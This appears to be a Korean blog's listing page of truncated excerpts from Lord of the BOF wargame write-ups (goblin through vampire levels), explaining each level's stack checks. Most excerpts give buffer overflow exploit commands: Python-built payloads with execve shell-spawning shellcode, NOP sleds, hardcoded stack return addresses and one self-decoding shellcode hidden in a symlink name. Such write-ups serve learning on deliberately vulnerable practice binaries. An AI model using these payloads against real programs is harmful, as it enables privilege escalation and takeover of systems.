분류 전체보기 (267) 썸네일형 리스트형 troll -> vampire argv 길이 제한이 없어졌다.대신 RET 가 bf 다음 ff 면 거른다.따라서 ff 주소를 뛰어넘을bffe~~~ 주소를 찾아야 한다.argv 길이 제한이 없으므로, argv[1] 뒤에 NOP를 많이 붙여줌으로써 buffer 의 시작위치를 뒤로 보낸다. [troll@localhost asdf]$ ../vampire `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*19 + "\x30\x72\xfe\xbf" + "\x90"*100444'`bash$ my-pass euid = 509 music world bash$ gdb 특정 값찾기 (gdb) set $x=0x08071000(gdb) while(*++$x!=0x90909090)>end(gdb) x/10b $x orge -> troll [orge@localhost tmp]$ rm -rf ./* [orge@localhost tmp]$ ln -s ../asdf/a.out `python -c 'print "\x90"*1000 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` ln: ������������������������������������������������������������������������������������������.. darkelf -> orge argv[0] 체크가 추가되었다.하지만 전에 썼던 방범과는 무관한 제한이므로 전 페이로드를 그대로 쓰도록 하겠다. (argv[2] 이용) [darkelf@localhost tmp]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "\x90"*44 + "\xd2\xf7\xff\xbf" + " " +"\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` argv[2] = 0xbffff7b9 ����������������������.. wolfman -> darkelf argv[1] 의 길이체크 및 버퍼 초기화.새로운 인자값을 줌으로서 argv[2] 로 넘어간다.darkelf 소스코드에서 argv[2] 의 주소를 출력하는 코드를 추가하고.그 주소를 바탕으로 RET를 돌리면 쉘을 획득할 수 있다. [wolfman@localhost tmp]$ ls copyelf darkelf darkelf.c [wolfman@localhost tmp]$ ./copyelf `python -c 'print "\x90"*44 + "\xbf"*4 +" "+ "\x90"*1000'` argv[2] = 0xbffff85a ������������������������������������������������ Segmentation fault (core dumped) [wolfman@localhost.. orc -> wolfman buffer 를 초기화 시키는 게 추가됨.일단 버퍼 + SFP + RET + NOP + SHELLCODE방식으로 버퍼에 넣는것이 아닌, RET 뒤에 NOP 슬라이드와 쉘코드를 넣어야 할듯. 중요한건 bash2 로 해야한다는것bash 는 \xff 를 다르게 인식함. [orc@localhost orc]$ ./wolfman `python -c 'print"\x90"*44 + "\x2c\xfc\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`��������������������������������������������,������.. CCTV (시연용) 보호되어 있는 글입니다. goblin -> orc 환경변수를 이용할 수 없게 extern char **environ 을 이용해 for(i=0;environ[i];i++)memset(environ[i],0,strlen(environ[i])); 으로 환경변수를 초기화 시켜버린다.그 후 argv[1][47] (RET의 끝부분) 이 "\xbf" 가 아니면 종료시켜버린다.아마 스택을 이용하라는 뜻같다. 스택에 쉘코드를 넣고, 스택 내부로 RET를 돌릴 것이다.우리가 이용할 수 있는 크기는 44 므로,NOP(12) + SHELLCODE(25) + NOP(7) = 44 로 짰다. [goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*12 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\.. 이전 1 ··· 18 19 20 21 22 23 24 ··· 34 다음